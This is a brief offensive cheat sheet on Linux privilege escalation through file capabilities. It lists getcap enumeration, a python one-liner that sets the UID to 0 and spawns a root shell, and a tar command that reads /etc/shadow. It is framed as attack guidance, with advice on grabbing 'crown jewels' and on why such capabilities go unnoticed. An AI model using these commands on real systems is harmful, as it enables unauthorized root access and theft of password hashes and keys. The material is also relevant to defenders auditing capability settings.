Escalate through Linux file capabilities

Capabilities split root into fine-grained privileges that live on individual binaries. An interpreter with cap_setuid+ep can set its UID to 0 outright; cap_dac_read_search reads any file regardless of permissions, including shadow and SSH keys.

# enumerate every capability-bearing file on the host
getcap -r / 2>/dev/null
# example: /usr/bin/python3.11 = cap_setuid+ep
python3.11 -c 'import os;os.setuid(0);os.system("/bin/bash")'

If only read caps are present, exfiltrate the crown jewels instead.

# cap_dac_read_search on a binary lets you read protected files
getcap /usr/bin/tar; ./tar -cf - /etc/shadow | tar -xO

Pro note: capabilities survive copies onto the same filesystem but not across filesystems, and they are invisible to a plain ls -l, which is exactly why they linger. Perl, ruby, and node with cap_setuid work the same way as python.